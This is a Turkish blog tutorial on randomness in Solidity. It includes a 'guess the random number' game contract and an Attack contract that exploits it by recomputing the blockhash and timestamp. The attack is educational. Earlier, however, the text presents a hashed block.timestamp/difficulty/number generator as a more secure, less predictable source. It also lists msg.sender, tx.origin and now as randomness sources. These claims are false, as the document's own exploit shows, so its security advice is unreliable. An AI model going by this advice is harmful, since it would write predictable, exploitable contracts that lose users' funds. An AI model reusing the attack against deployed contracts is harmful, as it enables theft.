1. Anasayfa
  2. 100 Günde Solidity

🧵 100GündeSolidity 072 – Hacks : Rastgelelik Kaynağı (Source of Randomness)

🧵 100GündeSolidity 072 – Hacks : Rastgelelik Kaynağı (Source of Randomness)
Rastgelelik Kaynağı
0

Rastgelelik Kaynağı

Günümüzde birçok blockchain uygulamasında rastgelelik, özellikle kriptografik rastgelelik, önemli bir rol oynamaktadır. Rastgele sayıların kullanımı, birçok işlemde önemli bir faktördür. Örneğin, kriptografik anahtarların oluşturulması, rastgelelik kaynaklarına dayanır.

Solidity, Ethereum sanal makinesi (EVM) üzerinde çalışan bir programlama dilidir. Solidity, rastgelelik kaynaklarını kullanarak güvenli ve etkili bir şekilde rastgele sayı üretebilir. Bu e-bülten serisinde, Solidity’de rastgele sayı üretimi konusunu ele alacağız.

Rastgele Sayı Üretme: Solidity’de nasıl yapılır?

Solidity’de rastgele sayı üretimi, genellikle rastgelelik kaynakları olarak adlandırılan özel fonksiyonlar kullanılarak gerçekleştirilir. Bu fonksiyonlar, blok verileri, zaman damgaları, hash değerleri, zincirdeki diğer blokların hash değerleri, kullanıcı etkileşimleri ve diğer faktörler gibi çeşitli girdiler kullanarak rastgele sayılar üretirler.

Örneğin, keccak256 fonksiyonu Solidity’de sıklıkla kullanılan bir rastgelelik kaynağıdır. Bu fonksiyon, verilen girdi değerlerini kullanarak hash değerleri üretir ve bu hash değerleri rastgelelik kaynağı olarak kullanılabilir.

function random() public view returns (uint256) {
    return uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, block.number)));
}

Yukarıdaki örnek kod, blok zaman damgası, blok zorluğu ve blok numarası gibi farklı girdileri kullanarak rastgele bir sayı döndürür.

Bu örnek sadece bir örnek olup, Solidity’de kullanılabilecek pek çok rastgelelik kaynağı bulunmaktadır. Bunlar arasında blockhash, now, msg.sender, tx.origin gibi diğer özel fonksiyonlar da yer almaktadır.

Rastgelelik Kaynakları: Solidity’de kullanılan yöntemler

Solidity’de kullanılan rastgelelik kaynakları, çeşitli girdileri kullanarak rastgele sayılar üretmek için özel fonksiyonlardan oluşur. Bu fonksiyonlar, blok zaman damgaları, blok zorlukları, blok numaraları, hash değerleri, kullanıcı etkileşimleri ve diğer faktörler gibi çeşitli girdileri kullanarak rastgele sayılar üretebilirler.

İşte Solidity’de kullanılan bazı rastgelelik kaynakları:

  1. block.timestamp: Blok zincirindeki mevcut blok zaman damgasını döndürür.
  2. block.difficulty: Mevcut bloğun zorluğunu döndürür.
  3. block.number: Mevcut bloğun numarasını döndürür.
  4. blockhash(uint blockNumber) returns (bytes32): Belirli bir bloğun hash değerini döndürür.
  5. keccak256(abi.encodePacked(...)): Belirli girdileri kullanarak hash değeri üretir. Bu hash değerleri rastgelelik kaynağı olarak kullanılabilir.
  6. now: Blok zaman damgasını döndürür.
  7. msg.sender: Mevcut işlemi gönderen kullanıcının adresini döndürür.
  8. tx.origin: İlk işlem gönderen kullanıcının adresini döndürür.
  9. random() (örnek olarak verildi): Yukarıda gösterildiği gibi, blok zaman damgası, blok zorluğu ve blok numarası gibi farklı girdileri kullanarak rastgele sayılar üretebilir.

Bu özel fonksiyonlar, Solidity geliştiricilerinin rastgele sayı üretimi yaparken farklı rastgelelik kaynakları arasından seçim yapmalarına olanak tanır.

Saldırı ve Güvenlik: Rastgelelik kaynaklarının güvenliği ve saldırılara karşı önlemler

Solidity’de rastgelelik kaynakları kullanılırken, güvenlik açıkları ve saldırılara karşı önlem almak önemlidir. Örneğin, saldırganlar rastgele sayı üretimini manipüle ederek, öngörülebilir rastgele sayılar üretebilir ve bunları kendi çıkarları için kullanabilirler.

Bu nedenle, Solidity geliştiricileri, rastgelelik kaynaklarının güvenliği için aşağıdaki önlemleri almalıdır:

  1. Rastgelelik kaynakları için birden fazla girdi kullanılmalıdır. Bu, saldırganların rastgelelik kaynağına müdahale etmelerini veya manipüle etmelerini zorlaştırır.
  2. Rastgele sayı üretiminde salt değerler kullanılmalıdır. Bu, saldırganların rastgele sayı üretimini tahmin etmelerini zorlaştırır.
  3. Rastgele sayı üretimi için uygun bir zamanlama stratejisi belirlenmelidir. Örneğin, blok zaman damgası yerine blok numarası kullanmak, saldırganların rastgele sayı üretimini manipüle etmelerini daha da zorlaştırabilir.
  4. Geliştiriciler, üretilen rastgele sayıların öngörülebilirliği ile ilgili olası zafiyetleri tespit etmek için testler ve deneyler yapmalıdırlar.
  5. Rastgele sayı üretimi için harici rastgelelik kaynakları kullanılabilir. Örneğin, Chainlink, VRF (Verifiable Random Function) gibi platformlar güvenli bir şekilde rastgele sayı üretmek için kullanılabilir.

Bu önlemler, Solidity geliştiricilerinin rastgele sayı üretimi sırasında güvenliği artırmasına yardımcı olur ve saldırganların rastgele sayı üretimini manipüle etmesini önler.

Örnek Uygulama: Rastgele sayı kullanımıyla ilgili Solidity örneği ve açıklaması

Aşağıdaki örnek, Solidity’de rastgele sayı kullanımına bir örnektir:

pragma solidity ^0.8.0;

contract RandomNumberGenerator {
    uint public randomNumber;

    function generateRandomNumber() public {
        uint256 entropy = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, block.number)));
        randomNumber = uint256(keccak256(abi.encodePacked(entropy, blockhash(block.number - 1))));
    }
}

Bu örnekte, RandomNumberGenerator adlı bir sözleşme tanımlanır ve generateRandomNumber adlı bir işlev oluşturulur. Bu işlev, sözleşme çağrıldığında bir rastgele sayı üretir ve randomNumber değişkenine atar.

Rastgele sayı üretmek için, generateRandomNumber işlevi iki adımdan oluşur:

  1. İlk olarak, entropy adlı bir değişkende rastgele bir sayı oluşturmak için blok zaman damgası, blok zorluğu ve blok numarası gibi faktörler kullanılır.
  2. Daha sonra, randomNumber değişkeni, entropy ve önceki bloğun blok hash’i kullanılarak bir kez daha rastgele bir sayı oluşturmak için keccak256 özet fonksiyonu kullanılır.

Bu örnekte, keccak256 özet fonksiyonu, önceden belirlenmiş faktörlerin kullanımı ile oluşturulan rastgele sayıyı işleme sokarak rastgele bir sonuç oluşturur. Bu nedenle, rastgelelik kaynağı daha güvenli hale getirilir.

Bu örnekte kullanılan yöntem, rastgelelik kaynaklarının öngörülebilirliğini azaltmak için birkaç farklı girdinin birleştirilmesini sağlar. Ayrıca, keccak256 gibi özet fonksiyonları, öngörülemezlik sağlamak için sıklıkla kullanılan bir yöntemdir.

Akıllı Sözleşme Örneği İNCELEME

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

/*
NOTE: cannot use blockhash in Remix so use ganache-cli

npm i -g ganache-cli
ganache-cli
In remix switch environment to Web3 provider
*/

/*
GuessTheRandomNumber is a game where you win 1 Ether if you can guess the
pseudo random number generated from block hash and timestamp.

At first glance, it seems impossible to guess the correct number.
But let's see how easy it is win.

1. Alice deploys GuessTheRandomNumber with 1 Ether
2. Eve deploys Attack
3. Eve calls Attack.attack() and wins 1 Ether

What happened?
Attack computed the correct answer by simply copying the code that computes the random number.
*/

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint _guess) public {
        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        );

        if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

contract Attack {
    receive() external payable {}

    function attack(GuessTheRandomNumber guessTheRandomNumber) public {
        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        );

        guessTheRandomNumber.guess(answer);
    }

    // Helper function to check balance
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Bu akıllı sözleşme örneği, bir “rastgele sayı tahmin etme” oyununu simüle ediyor. Bu oyun, blok hash ve blok zaman damgasını kullanarak olasılıksal bir rastgele sayı üretiyor. Ancak, söz konusu kaynakların tahmin edilebilir olduğu bilinmektedir ve dolayısıyla güvenli bir rastgele sayı kaynağı olarak kullanılmamalıdır. Bu nedenle, bu örnekteki sözleşme, blok hash ve zaman damgası yerine güvenli rastgele sayı üretme yöntemleri kullanmalıdır.

Sözleşmede, “GuessTheRandomNumber” adlı sözleşme, 1 Ether kazanabileceğiniz bir oyunu simüle ediyor. “guess” fonksiyonu, oyuncuların tahminlerini alıyor ve blok hash ve zaman damgasından oluşan bir kombinasyonu kullanarak olası rastgele sayıyı üretiyor. Eğer oyuncu, doğru sayıyı tahmin ederse, 1 Ether kazanır.

Ancak, sözleşmenin güvenli olmayan rastgele sayı üretimi nedeniyle, bir saldırgan “Attack” adlı bir sözleşme ile bu oyunu kolayca kazanabilir. “Attack” sözleşmesi, blok hash ve zaman damgasından oluşan aynı kombinasyonu kullanarak doğru rastgele sayıyı üretir ve “guessTheRandomNumber.guess(answer)” fonksiyonunu çağırarak 1 Ether kazanır.

Bu örnekteki güvenlik açığı, blok hash ve zaman damgası gibi tahmin edilebilir rastgele sayı kaynaklarının kullanılmasından kaynaklanır. Dolayısıyla, önleyici teknikler olarak bu kaynakların kullanılmaması veya güvenli rastgele sayı üretimi için başka yöntemlerin kullanılması önerilir.

Sonuç: Rastgelelik kaynağı kullanımının önemi ve Solidity geliştirme sürecinde dikkat edilmesi gerekenler

Sonuç olarak, Solidity geliştirme sürecinde rastgelelik kaynağı kullanımı oldukça önemlidir. Ancak, blockhash ve block.timestamp gibi kaynaklar güvenilir olmayabilir ve saldırılara açık olabilir. Bunun yerine, daha güvenilir kaynaklar kullanılmalıdır.

Solidity’de rastgele sayı üretmek için birçok yöntem mevcuttur, ancak bunların doğru bir şekilde kullanılması gerekmektedir. Saldırılara karşı önlemler almak, akıllı sözleşme kodunun güvenliğini artırmak için önemlidir.

Özellikle, akıllı sözleşme kodlarının dikkatli bir şekilde yazılması ve güvenilir kaynakların kullanılması, sözleşmelerin saldırılara açık olma riskini azaltır. Güvenilir rastgelelik kaynakları kullanarak, akıllı sözleşme uygulamalarının daha güvenli hale getirilmesi mümkündür.

Solidity Programlama Dili Öğrenme yolculuğunuz hakkında daha iyi rehberlik almak için Solidity nedir? Ethereum Akıllı Sözleşmelerinin Dili Rehberi içeriğimize göz atın. Dilerseniz Yeni Başlayanlar için Solidity – Akıllı Sözleşme Geliştirme Hızlandırılmış Kursuna katılın.

Çalışmaya nereden başlayacağım diyenler için Blockchain ​​Developer Olmak İçin Yol Haritası içeriğine de muhakkak bakın.

Gelin aklınızdaki soruları SUPERPEER sohbetinde cevaplayalım.

Bu makaleyi okuduğunuz için teşekkürler! Bana destek olmak isterseniz;

Beni TwitterLinkedin ve YouTube‘da takip edin.

Kısa bir yorum bırakmayı UNUTMAYIN!

solidity101 - Solidity, 2015 yılında Christian Reitwiessner liderliğinde piyasaya sürülen, büyük harf kullanımına göre ikinci en büyük kripto para piyasası olan Ethereum tarafından oluşturulan yepyeni bir programlama dilidir.

Yazarın Profili
İlginizi Çekebilir

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir